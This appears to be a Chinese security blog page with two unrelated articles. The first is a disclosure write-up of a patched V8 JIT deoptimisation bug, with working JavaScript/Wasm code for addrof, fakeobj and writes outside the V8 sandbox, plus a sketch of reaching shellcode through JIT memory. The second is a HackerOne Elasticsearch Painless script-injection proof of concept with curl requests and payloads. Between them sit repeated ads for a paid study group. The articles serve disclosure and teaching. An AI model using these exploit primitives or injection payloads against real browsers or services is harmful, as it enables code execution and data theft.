觉得内容太技术？可以先快速浏览我们的漏洞摘要。

阅读漏洞摘要 → https://nebusec.ai/buglist/CVE-2026-6307/

Chrome V8 JavaScript 引擎配备了一个堆沙箱，旨在防止攻击者仅凭 JavaScript 引擎中的漏洞就在沙箱区域外进行写入。然而，Vega 在 JIT 编译器中发现了一个特殊的漏洞，允许攻击者仅凭此漏洞就在沙箱内获得任意读写原语，甚至能够逃离沙箱，向沙箱外写入。本报告将详细介绍该漏洞的技术细节。

概要

这个 V8 漏洞单凭自身就能实现以下所有目标：

• 以 100% 的成功率获取任意内存读写原语，无需任何内存布局技巧

• 仅凭此漏洞，无需其他漏洞辅助，即可实现 V8 堆沙箱逃逸和远程代码执行

• 影响从 Chrome 106 开始的版本，横跨 4 年时间

背景

为了理解这个漏洞，我们首先需要了解 TurboFan、它如何内联 JS-to-Wasm（JavaScript 到 WebAssembly）调用，以及其去优化元数据是如何决定在延迟去优化后应重建何种类型的值的。此外，我们还需要理解 V8 堆沙箱的工作原理，以及为什么这个单一漏洞能让攻击者同时做到两件事：1）在沙箱内获得任意读写原语；2）逃离沙箱，向沙箱外写入。

TurboFan

TurboFan 是 V8 的优化编译器。当一个 JavaScript 函数运行足够多次后，V8 可以使用较低执行层级收集到的反馈来编译该函数的一个专门化版本。这些反馈包括诸如对象的形状、调用点观察到的目标，以及特定操作所使用的值的表示形式等信息。

V8 最初通过 Ignition 字节码执行一个函数，在 TurboFan 编译它之前，可能会通过其他层级。这些早期的执行过程填充了函数的反馈向量。TurboFan 将字节码和反馈转换为编译器图，应用高级 JavaScript 优化，并最终将图降低到机器操作层面。Turboshaft 是这个过程中使用的低级编译器表示形式，也是此漏洞涉及的值编号行为发生的地方。

从高层次看，TurboFan 的工作是：用专门的机器代码替换通用的 JavaScript 执行，同时保留返回正确通用执行的方式。它可以内联被调用者，专门化属性访问，并发出检查来守卫它基于反馈所做的假设。如果这些假设中的任何一个在之后被推翻，优化后的执行必须执行去优化。

节点图 (Sea of Nodes)

TurboFan 将被编译的函数表示为一个图，通常被称为节点图。图不是简单的线性指令列表，操作由其依赖关系连接。一个节点可以依赖于值输入、控制输入和效果输入。这使得 TurboFan 可以在保留副作用和控制流所需顺序的同时，移动和简化操作。在传统的控制流图中，编译器会问：这条指令属于哪个基本块，以及它以什么顺序运行？但在节点图中，编译器会问：这个操作依赖于什么，以及它之后可以合法地放置在何处？这种差异很重要，因为节点图避免过早地固定指令的确切位置。例如：

functionf(x, y, z) {
let a = x + y;
let b = y + z;
if (a > 0) return b * 2;
elsereturn b * 3;
}

在控制流图中，你可能会这样表示：

B1:
  a = x + y
  b = y + z
  if a > 0 goto B2 else B3
B2:
  return b * 2
B3:
  return b * 3

这里，b = y + z 已经被放置在块 B1 中。

而在节点图中，b = y + z 只是一个依赖 y 和 z 的 Add 节点：

y     z
 \   /
  Add(b)

它不必立即属于某个基本块。之后，编译器可以决定是将其放置在分支之前、某个分支内部、提升它、下沉它、消除它，还是与另一个相同的计算共享它。这是关键优势：更高的优化自由度。节点图尤其适用于：公共子表达式消除、全局值编号、死代码消除、代码移动、边界检查消除。

最后，它将节点图调度到基本块中，将节点降低为机器指令，分配寄存器，移除诸如 Phi 节点等结构，然后发出线性的汇编/机器代码。

对于这个漏洞，重要的一点是：调用、检查和去优化元数据都存在于同一个图中。当 TurboFan 内联一个调用时，被调用者的操作会被插入到调用者的图中。如果内联的操作可能去优化，图中还会包含 FrameState 节点，用于描述如果优化执行无法继续时，应如何重建执行状态。

FrameState 节点是元数据，但它们仍然是具有输入和选项的图节点。它们不会像算术或内存操作那样执行，但优化过程仍然可以对它们进行推理。在后文中，这一点很重要，因为两个 JS-to-Wasm 延续 FrameState 节点对于图优化器来说可能看起来是等价的，尽管它们描述的是不同的 Wasm 返回类型。

JS-to-Wasm 调用的内联

与该漏洞相关的一个 TurboFan 优化是 JS-to-Wasm 调用的内联。JavaScript 和 WebAssembly 使用不同的调用约定和值表示形式，因此从 JavaScript 到 Wasm 的调用通常需要通过一个 JS-to-Wasm 包装器。该包装器将 JavaScript 参数转换为 Wasm 值，执行 Wasm 调用，并将 Wasm 结果转换回 JavaScript 值。

TurboFan 可以将该包装器内联到优化的 JavaScript 调用者中。这避免了单独的包装器调用，并将参数/结果转换代码暴露给优化器。V8 也可能内联足够小的 Wasm 函数体，但本漏洞并不需要完整的 Wasm 函数体内联，内联包装器就足够了。

在本报告中，JS-to-Wasm 调用是通过 JavaScript 属性访问器到达的。经过充分预热后，TurboFan 可以专门化该属性访问，检查接收者的形状，直接调用已知的访问器目标，并为该目标内联 JS-to-Wasm 包装器。如果同一个 JavaScript 函数看到两个接收者形状，优化后的图可以在一个已编译的函数中包含两个这样的访问器路径。

每个内联的包装器都是基于其 Wasm 函数的规范签名构建的。规范化允许 V8 用共享的签名对象来表示结构上等价的函数类型。签名包含参数和返回类型；因此，它比仅仅记录延续内置函数接收多少个值更为精确。

本漏洞涉及两种返回类型。Wasm 的 i64 在 JavaScript 中暴露为 BigInt，而 externref 是一个标记的 JavaScript 引用。

对于这个签名的 Wasm 函数：

(func (result i64))

机器返回值是一个原始的 64 位整数。包装器必须将该整数转换为 BigInt 才能返回给 JavaScript。对于这个函数：

(func (result externref))

返回寄存器中的值已经是一个标记的引用，必须按此处理。机器级别的返回位置可能相同，但位表示的含义由 Wasm 签名决定。

重要的细节是：包装器的签名决定了 Wasm 返回的位如何转换回 JavaScript。

去优化

去优化将一个活动的优化栈帧替换为一个或多个可以在较低层级继续的栈帧。为此，V8 必须恢复非优化函数所期望的状态：其参数、局部变量、上下文、当前字节码位置，以及任何内联的栈帧。

优化代码不一定将这些值保留在原始形式中。一个局部变量可能存储在寄存器中、被折叠为常量，或者被完全移除。因此，编译器在可能离开优化代码的点上附加了去优化元数据。在 TurboFan 和 Turboshaft 中，这种状态是使用 FrameState 节点表示的。

一个简化的 FrameState 包含：

• 重建栈帧所需的值，例如参数和局部变量。

• 当当前操作被内联到另一个函数中时，其外部的 FrameState。

• 一个 FrameStateInfo，描述栈帧的类型、其延续点以及函数特定的元数据。

编译器可以嵌套这些状态。如果一个访问器及其 JS-to-Wasm 包装器已经内联到优化的调用者中，那么内部的延续状态会指向外部的 JavaScript 状态。去优化器会遍历该链来重建逻辑调用栈，即使这些调用在优化的机器代码中已经不再作为单独的物理栈帧存在。

去优化可以通过两种相关的方式发生。

• 急切去优化：当检查失败时立即发生。此时，重建栈帧所需的所有值在去优化点都可用。

• 延迟去优化：与调用相关联。当另一个函数正在运行时，优化函数可能被标记为需要去优化，但实际转换只会在该调用返回时发生。

延迟去优化需要特别处理调用结果。结果在创建 FrameState 时并不存在，因此它不会被列为普通输入。相反，去优化器从机器返回寄存器中获取它，并将其添加到延续栈帧中。然后，执行通过一个延续内置函数恢复，就好像优化调用正常返回一样。

对于由 TurboFan 内联的 JS-to-Wasm 调用，V8 会创建一个内部延续 FrameState，其类型为 kJSToWasmBuiltinContinuation。其函数信息使用了一个派生类来存储 Wasm 签名：

classJSToWasmFrameStateFunctionInfo :public FrameStateFunctionInfo {
public:
const wasm::CanonicalSig* signature()const{ return signature_; }
private:
const wasm::CanonicalSig* const signature_;
};

这个签名不仅仅是信息性的。在代码生成期间，V8 从其中派生出 Wasm 返回类型，并将该类型序列化到去优化数据中。如果发生延迟去优化，去优化器会使用记录的返回类型来具体化结果。

具体化 Wasm 返回值

对于 JS-to-Wasm 延迟去优化，在机器码层面调用已经返回。因此，去优化器根据返回寄存器和记录的 Wasm 返回类型来重建调用结果：

TranslatedValue Deoptimizer::TranslatedValueForWasmReturnKind(
std::optional<wasm::ValueKind> wasm_call_return_kind){
if (wasm_call_return_kind) {
switch (wasm_call_return_kind.value()) {
case wasm::kI32:
return TranslatedValue::NewInt32(
            &translated_state_,
static_cast<int32_t>(input_->GetRegister(kReturnRegister0.code())));
case wasm::kI64:
return TranslatedValue::NewInt64ToBigInt(
            &translated_state_,
static_cast<int64_t>(input_->GetRegister(kReturnRegister0.code())));
case wasm::kF32:
return TranslatedValue::NewFloat(
            &translated_state_,
            input_->GetFloatRegister(wasm::kFpReturnRegisters[0]).code());
case wasm::kF64:
return TranslatedValue::NewDouble(
            &translated_state_,
            input_->GetDoubleRegister(wasm::kFpReturnRegisters[0]).code());
case wasm::kRefNull:
case wasm::kRef:
return TranslatedValue::NewTagged(
            &translated_state_,
            Tagged<Object>(input_->GetRegister(kReturnRegister0.code())));
default:
        UNREACHABLE();
    }
  }
return TranslatedValue::NewTagged(&translated_state_,
                                    ReadOnlyRoots(isolate()).undefined_value());
}

去优化器不会询问原始 Wasm 函数它返回了什么；它信任从 FrameState 序列化而来的 wasm_call_return_kind。对于 kI64 和引用返回，它都读取同一个机器返回寄存器 kReturnRegister0。唯一的区别是如何解释这些位：kI64 将寄存器值强制转换为 int64_t 并将其装箱为 BigInt，而 kRef 和 kRefNull 将寄存器值包装为 Tagged<Object>。

这也是为什么当与 i64 混淆时，externref 情况会泄漏一个完整的 64 位标记值。指针压缩影响存储在堆字段中的许多标记值，但编译器图中的 Wasm 引用值使用标记的寄存器表示形式。在指针压缩的构建中，该寄存器表示形式是一个解压缩后的堆指针，或者一个 Smi。当去优化器读取 kReturnRegister0 时，没有单独的“32 位压缩指针加基址”对需要重建；寄存器已经包含了完整的标记值。

因此，如果记录的返回类型来自错误的 FrameState，去优化器会直接将相同的 64 位位模式重新解释为错误的 JavaScript 值类型。这就是 externref 可以被具体化为 i64，或者 i64 可以被具体化为对象引用的关键点。

FrameState 合并

一个微妙之处是：FrameState 节点在被序列化到去优化数据之前，仍然是编译器图中的节点。这意味着图优化也可以看到它们。这里相关的优化是公共子表达式消除，也称为全局值编号。

公共子表达式消除本身不是去优化器的一部分，但它可以影响去优化器稍后使用的元数据。如果两个图节点具有相同的输入和等价的元数据，编译器可以保留第一个节点，并用它替换第二个节点的使用。对于普通操作，这消除了冗余工作。对于 FrameState 节点，这意味着两个去优化状态可以被合并。

只有当两个 FrameState 节点在去优化时可以互换时，合并它们才是安全的。Turboshaft 首先使用一个快速哈希来定位可能的匹配项，然后使用相等性运算符进行完整比较。该比较必须包含影响栈帧重建方式的每个字段。

FrameState 的哈希特意只使用了元数据的一小部分，包括其弃绝 ID。哈希冲突是预期会发生的，其本身并不是漏洞：在找到具有相同哈希值的候选节点后，值编号会比较操作的输入和完整选项。因此，正确性的边界在于相等性比较。如果它认为语义上不同的去优化状态是相等的，一个就可以被另一个替换。

V8 堆沙箱

V8 堆沙箱是一个进程内的软件故障隔离机制，它将源自不受信任的 JavaScript 或 WebAssembly 代码的内存破坏漏洞限制在进程虚拟地址空间的一个子集区域，即 V8 堆沙箱区域内。V8 堆沙箱假设攻击者可以通过典型的传统 V8 漏洞（addrof 和 fakeobj）任意且并发地读取和写入 V8 堆沙箱区域内的内存。

在不失一般性的前提下，V8 堆沙箱的实现可以被视为为寻址操作增加了一个额外的翻译层。

这让你想起了操作系统课程中的地址翻译吗？

V8 沙箱目前是一个 1 TB 大的区域，包含了所有 V8 堆（位于沙箱开头的 4GB V8 指针压缩笼中）、ArrayBuffer 后备存储和 Wasm 后备缓冲区。V8 堆沙箱中的寻址操作可以描述如下：

• 压缩指针：32 位指针，这是在 V8 堆沙箱中使用的指针表示形式。压缩指针笼分配在 V8 堆沙箱区域的开头。当解引用压缩指针时，引擎将压缩指针笼的基址加到压缩指针上，得到 V8 堆沙箱区域内的实际地址。

• 沙箱化指针：位于沙箱内的对象可以使用从沙箱基址开始的 40 位偏移量来引用。

• 指针表：V8 需要引用沙箱外的对象。这些对象通过指针表来引用，指针表也位于沙箱外，包括 CodePointerTable、TrustedPointerTable 和 ExternalPointerTable。指针表用于存储沙箱外对象的实际地址，并带有内联的类型标志。也通过在初始化期间为每个表预留固定大小的虚拟内存块并使用左移索引来防止对这些表的越界访问。

最后，我们可以将 V8 堆沙箱总结如下：

漏洞所在

漏洞出在 FrameStateFunctionInfo 的相等性运算符中：

booloperator==(FrameStateFunctionInfo const& lhs,
                FrameStateFunctionInfo const& rhs) {
// ...
return lhs.type() == rhs.type() &&
         lhs.parameter_count() == rhs.parameter_count() &&
         lhs.max_arguments() == rhs.max_arguments() &&
         lhs.local_count() == rhs.local_count() &&
         lhs.shared_info().equals(rhs.shared_info()) &&
         lhs.bytecode_array().equals(rhs.bytecode_array());
}

JSToWasmFrameStateFunctionInfo 继承自 FrameStateFunctionInfo，并添加了上述描述的 signature_ 字段。然而，相等性运算符接受对基类的引用，并且只比较基类中的字段。它从未比较 Wasm 签名。

缺少比较这一点很容易被忽略，因为基类已经包含几个 Wasm 特定的字段，例如 Wasm 函数索引和 Liftoff 帧大小。这些字段在完整相等性运算符的早期就已经被检查。它们被其他 Wasm 帧状态类型使用，但并不能替代派生的 JS-to-Wasm 延续的签名。

当同一个优化的 JavaScript 函数可以调用两个参数列表匹配但返回类型不同的 Wasm 访问器时，这就成了问题。回归测试可以通过功能上等效于以下代码的函数触发：

builder
  .addFunction("return_ref", kSig_r_v)
  .addBody([kExprCallFunction, callback_index, kExprGlobalGet, g_ref.index]);
builder
  .addFunction("return_i64", kSig_l_v)
  .addBody([kExprCallFunction, callback_index, kExprGlobalGet, g_i64.index]);

两个函数都不接收参数，并且两个 JS-to-Wasm 延续状态都使用相同的延续内置函数。因此，根据有缺陷的相等性运算符，相应的元数据是相同的：

externref 状态         i64 状态
类型                     JS-to-Wasm 延续   JS-to-Wasm 延续
parameter_count          0               0
max_arguments            0               0
local_count              0               0
shared_info              empty           empty
bytecode_array           empty           empty
signature                () -> externref   () -> i64
                        ^ 未比较          ^ 未比较

具体来说，parameter_count 描述的是延续内置函数的显式输入。它并不对 Wasm 函数的返回类型进行编码。因此，() -> externref 和 () -> i64 的两个函数可以具有完全相同的基类元数据，尽管它们的结果需要完全不同的具体化操作。

FrameStateData::operator== 在决定两个 FrameState 节点附带的元数据是否相等时，依赖于这个比较：

return lhs.frame_state_info == rhs.frame_state_info &&
       lhs.instructions == rhs.instructions &&
       lhs.machine_types == rhs.machine_types &&
       lhs.int_operands == rhs.int_operands;

这个比较通过 FrameStateInfo::operator== 进行，它检查弃绝 ID 和状态组合模式，然后委托给 FrameStateFunctionInfo::operator==。对于 JSToWasmLazyDeoptContinuation，两个调用点都使用字节码偏移量，因此那些外部字段也匹配。被忽略的派生字段是唯一区分两种返回约定的元数据。

当剩余输入也匹配时，公共子表达式消除得出结论：两个帧状态是相同的。它会移除一个，并将其使用重定向到另一个。哪个返回签名幸存下来取决于保留哪个状态，但无论哪种方向都不安全。

当编译器执行此替换时，并不会立即出现问题。FrameState 是元数据，而不是在正常路径上执行的操作，并且只要优化函数保持有效，两个 Wasm 调用仍然会正确返回。只有当执行遇到消耗错误共享状态的去优化出口时，这种不匹配才会被观察到。

以下 JavaScript 形状使 TurboFan 在一个函数中获得两个调用目标：

Object.defineProperty(ProtoForI64.prototype, "x", { get: exports_.return_i64 });
Object.defineProperty(ProtoForRef.prototype, "x", { get: exports_.return_ref });
functionfoo(o) {
return o.x;
}

在预热期间，foo 被调用时传入两种原型的实例。TurboFan 为两种接收者形状专门化属性访问，并内联相应的 JS-to-Wasm 包装器。这就创建了两个可以被公共子表达式消除错误合并的延续 FrameState。

Wasm 函数首先调用一个导入的 JavaScript 回调，然后从可变全局变量中加载其返回值。该回调在 foo 被优化后更改了其中一个原型：

const exports_ = makeInstance(() => {
if (arm_deopt) {
    ProtoForRef.prototype.deopt_marker = 1;
  }
});

更改原型会使已嵌入优化代码中的假设失效，并将 foo 标记为需要去优化。由于 foo 在 JS-to-Wasm 调用下暂停，实际的转换是当 Wasm 调用返回时的延迟去优化。

在代码生成期间，幸存下来的签名在 JSToWasmFrameStateDescriptor 中被转换为单个 return_kind。该返回类型被序列化到去优化转换中。当重建栈帧时，不再参考原始的调用目标，因此之后没有机会注意到序列化的返回类型属于另一条路径。

此时，去优化器参考合并后的延续状态。假设实际调用返回一个 externref，但幸存下来的 FrameState 包含 i64 签名。去优化器将返回寄存器中的标记引用当作原始的 64 位整数读取，并将其具体化为 BigInt。这就将标记指针的位作为整数暴露出来。

相反的方向则更加危险。如果实际调用返回一个攻击者控制的 i64，但幸存状态包含 externref 签名，去优化器会将这些 64 位当作标记的 JavaScript 引用。由于错误的元数据信息表明寄存器已经包含一个引用，因此不会对对象进行从 BigInt 的转换或任何验证。

结果导致 Wasm i64 和 JavaScript 对象引用直接混淆：

实际的 externref + 记录的 i64     => 地址暴露为 BigInt
实际的 i64       + 记录的 externref => 整数被当作对象引用

这提供了下一节中使用的 addrof 和 fakeobj 原语。

漏洞利用

获取 addrof 和 fakeobj

由于混淆发生在 Wasm i64 和 externref 之间，获取初始原语就变得很直接。

我们首先创建一个 Wasm 实例，其中包含两个参数签名相同但返回类型不同的函数。由于错误的签名比较，在确定两个调用点是否兼容时，返回类型被忽略了。

functionmakeInstance(callback) {
const builder = new WasmModuleBuilder();
const callback_index = builder.addImport("env", "callback", kSig_v_v);
const g_ref = builder
    .addGlobal(kWasmExternRef, true, false)
    .exportAs("g_ref");
const g_i64 = builder.addGlobal(kWasmI64, true, false).exportAs("g_i64");
  builder
    .addFunction("rr", kSig_r_v)
    .addBody([kExprCallFunction, callback_index, kExprGlobalGet, g_ref.index])
    .exportFunc();
  builder
    .addFunction("rl", kSig_l_v)
    .addBody([kExprCallFunction, callback_index, kExprGlobalGet, g_i64.index])
    .exportFunc();
return builder.instantiate({ env: { callback } }).exports;
}

为了获得 addrof，我们将目标对象放在 externref 全局变量中，但导致去优化器使用 i64 返回类型来具体化结果。

functionaddrof(target) {
let arm_deopt = false;
functionLeakI64() {}
functionLeakRef() {}
const exports_ = makeInstance(() => {
if (arm_deopt) {
      LeakRef.prototype.deopt_marker = 1;
    }
  });
Object.defineProperty(LeakI64.prototype, "x", {
get: exports_.rl,
configurable: true,
  });
Object.defineProperty(LeakRef.prototype, "x", {
get: exports_.rr,
configurable: true,
  });
functionfoo(o) {
return o.x;
  }
const a = new LeakI64();
const b = new LeakRef();
  exports_.g_ref.value = target;
  exports_.g_i64.value = 43n;
  %PrepareFunctionForOptimization(foo);
for (let i = 0; i < 20; ++i) {
    foo(a);
    foo(b);
  }
  %OptimizeFunctionOnNextCall(foo);
  foo(a);
  arm_deopt = true;
return foo(b);
}

最后的调用触发了 externref 访问器，但该值被重建为 i64。这将以 i64 的形式暴露出 target 的完整标记指针（64位），从而为我们提供了 addrof 原语。

相反，fakeobj 是通过将我们的 i64 放在全局变量中，并使其被具体化为 externref 来获得的。

functionfakeobj(addr) {
let arm_deopt = false;
functionMaterializeRef() {}
functionMaterializeI64() {}
const exports_ = makeInstance(() => {
if (arm_deopt) {
      MaterializeI64.prototype.deopt_marker = 1;
    }
  });
Object.defineProperty(MaterializeRef.prototype, "x", {
get: exports_.rr,
configurable: true,
  });
Object.defineProperty(MaterializeI64.prototype, "x", {
get: exports_.rl,
configurable: true,
  });
functionfoo(o) {
return o.x;
  }
const a = new MaterializeRef();
const b = new MaterializeI64();
  exports_.g_ref.value = { marker: 1 };
  exports_.g_i64.value = addr;
  %PrepareFunctionForOptimization(foo);
for (let i = 0; i < 20; ++i) {
    foo(a);
    foo(b);
  }
  %OptimizeFunctionOnNextCall(foo);
  foo(a);
  arm_deopt = true;
const result = foo(b);
return result;
}

返回的 i64 被重建为标记的引用，从而允许将被攻击者控制的地址视为 JavaScript 对象。

在沙箱外写入

更重要的是，新具体化的引用仍然可以被正常解引用，即使其底层指针位于 V8 沙箱之外。

去优化器将 i64 具体化为引用，而 i64 值完全由攻击者控制，这意味着它可以指向沙箱之外的内存。

为了优化属性存储操作，V8 引擎支持内联属性，这些属性直接存储在对象本身上。

由于此漏洞允许我们在整个 64 位地址范围内创建引用，那么如果我们能够伪造一个在沙箱外具有有效映射的对象指针，会发生什么？

functionconfuseI64AsRefAndStore(ptr, value, real) {
let arm_deopt = false;
functionProtoForRef() {}
functionProtoForI64() {}
const exports_ = makeInstance(() => {
if (arm_deopt) ProtoForI64.prototype.deopt_marker = 1;
  });
Object.defineProperty(ProtoForRef.prototype, "x", {
get: exports_.return_ref,
  });
Object.defineProperty(ProtoForI64.prototype, "x", {
get: exports_.return_i64,
  });
functionfoo(o, v, do_store) {
const r = o.x;
if (do_store) r.p = v;
return r;
  }
const obj_ref = new ProtoForRef();
const obj_i64 = new ProtoForI64();
  exports_.g_ref.value = real;
  exports_.g_i64.value = ptr;
  %PrepareFunctionForOptimization(foo);
for (let i = 0; i < 30; ++i) {
    foo(obj_ref, 1, true);
    foo(obj_i64, 1, false);
  }
  %OptimizeFunctionOnNextCall(foo);
  foo(obj_ref, 1, true);
  arm_deopt = true;
return foo(obj_i64, value, true);
}

在预热期间，属性存储操作只在实际对象上的存储上执行。这使得 TurboFan 能够将 r.p = v 优化为正常的内联属性存储。

在最后一次调用中，使用了 i64 访问器。去优化器将 i64 具体化为标记的引用，然后针对该伪造的对象指针执行优化的属性存储。

只要在选定的写入目标之前存在有效的映射和属性字段，对象就能通过所需的布局检查，并且内联属性存储就可以到达 i64 所指向的地址。

由于我们也控制对象映射指针，尽管属性数量有限，使得从映射 + 属性的四字偏移写入的距离不能任意大，但我们的属性存储写入仍然可以距离我们的四字足够远，从而完成许多有趣的操作。

写入 JIT 内存

一个方便的目标就是 JIT 内存。任意的四字（qword）可以作为字面量首先被放置在 JIT 区域（例如，返回一个双精度数组的 JIT 编译函数），从而允许在不事先拥有写入原语的情况下，布局分散的四字。

然后，属性存储可以用来修补附近的任何指令。例如，一个标记的 SMI 写入就足以在一个已布局的四字之后放置一个短的相对跳转，并将执行重定向到隐藏的 Shellcode 中，从而在渲染器进程中实现 RCE。

附录

时间线

• 2026-03-29：我们向 Google 报告了此漏洞。

• 2026-03-30：Google 确认收到报告并开始调查。

• 2026-03-31：Google 确定了根本原因并完成了修复。

• 2026-04-07：修复程序在 Chrome 147.0.7727.101 版本中发布。

• 2026-06-29：我们发布了这篇博客文章。

缓解措施

diff --git a/src/compiler/frame-states.cc b/src/compiler/frame-states.cc
index 7c15107243d..5312f07b5fe 100644
--- a/src/compiler/frame-states.cc
+++ b/src/compiler/frame-states.cc
@@ -37,11 +37,12 @@ std::ostream& operator<<(std::ostream& os, OutputFrameStateCombine const& sc) {
 bool operator==(FrameStateFunctionInfo const& lhs,
                 FrameStateFunctionInfo const& rhs) {
 #if V8_HOST_ARCH_X64
-// If this static_assert fails, then you've probably added a new field to
-// FrameStateFunctionInfo. Make sure to take it into account in this equality
-// function, and update the static\_assert.
+// If these static_asserts fail, then you've probably added a new field to
+// FrameStateFunctionInfo or JSToWasmFrameStateFunctionInfo. Make sure to
+// take it into account in this function, and update the static\_assert.
 #if V8_ENABLE_WEBASSEMBLY
   static_assert(sizeof(FrameStateFunctionInfo) == 40);
+  static_assert(sizeof(JSToWasmFrameStateFunctionInfo) == 48);
 #else
   static_assert(sizeof(FrameStateFunctionInfo) == 32);
 #endif
@@ -52,6 +53,18 @@ bool operator==(FrameStateFunctionInfo const& lhs,
       lhs.wasm_function_index() != rhs.wasm_function_index()) {
     return false;
   }
+
+  // JSToWasmFrameStateFunctionInfo has an additional signature\_ field.
+  // Two frame states with different wasm signatures must not compare equal,
+  // otherwise CSE/GVN can merge them and the deoptimizer will use the wrong
+  // signature to materialize the continuation frame.
+  if (lhs.type() == FrameStateType::kJSToWasmBuiltinContinuation &&
+      rhs.type() == FrameStateType::kJSToWasmBuiltinContinuation) {
+    if (static_cast<const JSToWasmFrameStateFunctionInfo&>(lhs).signature() !=
+        static_cast<const JSToWasmFrameStateFunctionInfo&>(rhs).signature()) {
+      return false;
+    }
+  }

对于用户来说，请更新到最新版本的 Chrome。

如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款

如何利用ai辅助挖漏洞

如何在移动端抓包-下

如何绕过签名校验

一款bp神器

挖掘有回显ssrf的隐藏payload

ssrf绕过新思路

一个辅助测试ssrf的工具

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips‍

如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款

如何利用ai辅助挖漏洞

如何在移动端抓包-下

如何绕过签名校验

一款bp神器

挖掘有回显ssrf的隐藏payload

ssrf绕过新思路

一个辅助测试ssrf的工具

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips‍

“最危险的地方往往是最安全的地方。” 近日，知名漏洞赏金平台 HackerOne 在其官方平台上被研究员发现一处 Authenticated Elasticsearch Painless Script Execution（认证态下 ES 脚本执行）漏洞。今天我们就来拆解这个漏洞，并附上完整的 PoC 验证过程与底层逻辑分析。

🔍 漏洞核心：一个 String 参数，直通 ES 引擎

HackerOne 的 GraphQL API（https://hackerone.com/graphql）中，Query.search 接口提供了一个名为 sort_query: String 的参数。按常规设计，排序参数应当经过严格的 Schema 校验或白名单过滤后再下发给搜索引擎。

但实际情况是：该参数未经任何服务端校验，直接以原始字符串形式拼接进 Elasticsearch 的 sort 查询语句中。这意味着，攻击者可以构造包含 _script 字段的 JSON 排序规则，进而触发 ES 内置的 Painless 脚本引擎进行编译与执行。

🛠️ 完整 PoC 验证过程

研究员采用“控制变量法”与“差分测试”完成了严谨的 PoC 验证。以下为完整步骤还原（已对敏感 Cookie/Token 作脱敏处理，仅保留核心 Payload 与验证逻辑）：

📦 0. 环境准备与身份确认

所有请求均通过同一浏览器会话发起，携带完整的认证 Cookie（__Host-session, cf_clearance）及 CSRF Token。

验证会话身份：

curl -sk 'https://hackerone.com/graphql' \
  -H 'content-type: application/json' \
  -b "$COOKIE" \
  --data-raw '{"query":"{me{_id username}}"}' | jq

响应：

{"data":{"me":{"_id":"████████","username":"brumbelow"}}}

✅ 确认当前为普通 Reporter 权限账号，无越权基础。

📐 Step 1：验证 sort_query 可解析原始 JSON

在注入脚本前，先证明该参数能正确解析 Elasticsearch 的排序 DSL。

Payload（按 id 升序）：

{
"query": "query { search(index: NotificationsIndex, query_string: \"*\", sort_query: \"[{\\\"id\\\": \\\"asc\\\"}]\", size: 5) { nodes { ... on NotificationDocument { id } } } }"
}

响应（前 5 条 ID）：404547633, 408446504, 416737094, 417300042, 417467303👉 严格单调递增，证明 sort_query 字符串被后端正确解析为 ES JSON 排序结构。

进阶验证（嵌套对象语法）：

[{"user_id":{"order":"desc","missing":"_last"}}]
[{"created_at":{"order":"desc","mode":"max"}}]

✅ 均返回 total_count: 716（当前用户通知总数），证明复杂 ES 排序语法均可透传。

🔬 Step 2：编译态探测（证明输入直达 Painless 编译器）

通过构造不同 script.source 值，观察服务端返回差异，若仅做 JSON Schema 校验，以下 Payload 结构完全一致；能区分“语法错误”与“合法代码”的只有 Painless 编译器。

script.source  值	HTTP 状态 / 响应特征	Painless 编译结果
"" （空字符串）	500 / STANDARD_ERROR	❌ 编译失败
"unterminated" （未闭合字符串）	500 / STANDARD_ERROR	❌ 编译失败
"1" （合法常量）	200 / total_count: 716	✅ 编译成功
"1+1" （合法表达式）	200 / total_count: 716	✅ 编译成功

核心 Payload 结构：

[{"_script":{"type":"number","script":{"source":"<PAYLOAD>","lang":"painless"},"order":"asc"}}]

👉 结论：200/500 的分界线与 Painless 语法合法性完全吻合，证明用户输入已绕过中间件校验，直达 ES 脚本编译层。

🎯 Step 3：执行态探测（证明脚本逐文档真实运行）

编译成功不代表会执行。研究员通过“差分排序”验证脚本是否在查询阶段逐文档运行。

请求 A（基准：返回常量）

"source": "1"

请求 B（目标：读取文档元数据）

"source": "doc[\"_seq_no\"].value"

💡 _seq_no 是 Elasticsearch 内部维护的文档写入序列号，随索引时间单调递增。按 _seq_no 升序排序，结果应与按内部 _id 升序一致。

响应对比（前 5 条文档 ID）：

位置	请求 A ("1")	请求 B ("_seq_no")
1	451190393	404547633
2	433571802	408446504
3	444651582	416737094
4	444773121	417300042
5	445067118	417467303

🔍 关键发现：

• 两次请求返回的文档 ID 零重叠。

• 请求 B 的顺序与 Step 1 中 sort_query: '[{"id":"asc"}]' 的结果完全一致。

• 若 _script 被静默丢弃或仅编译不执行，请求 B 应与请求 A 返回相同顺序。

✅ 最终结论：Painless 脚本不仅在服务端编译成功，且在 Elasticsearch 查询阶段逐文档执行，并真实读取了 doc 上下文中的元数据字段。

🔍 为什么这套验证逻辑值得学习？

1. 最小攻击面：仅使用 "1"、"1+1"、doc["_seq_no"].value，未调用任何 API、未读取用户字段、未尝试沙箱逃逸。

2. 差分控制变量：通过“编译失败 vs 成功”、“常量返回 vs 动态字段读取”两组对照，彻底排除中间件拦截或静默丢弃的可能性。

3. 伦理边界清晰：全程在 NotificationsIndex（仅含自身 716 条通知）内测试，未触碰跨租户数据、未验证越权路径，符合负责任披露原则。

⚠️ 潜在影响与风险边界

作者比较克制，没有宣称已经实现 RCE，而是指出了几个潜在风险：

风险维度	说明
🔓 数据泄露	ES _script 排序发生在 GraphQL Resolver 权限过滤之前。若索引未按租户严格隔离，脚本可读取当前用户无权访问的文档字段。
💥 拒绝服务（DoS）	Painless 脚本逐文档执行。恶意构造死循环、大对象分配或复杂计算，可迅速耗尽共享 ES 集群的 CPU/内存资源。
🧩 代码执行面	Painless 运行在 ES JVM 进程中。尽管官方沙箱限制了文件/网络访问，但历史版本中仍存在绕过案例。一旦结合其他组件漏洞，可能升级为 RCE。
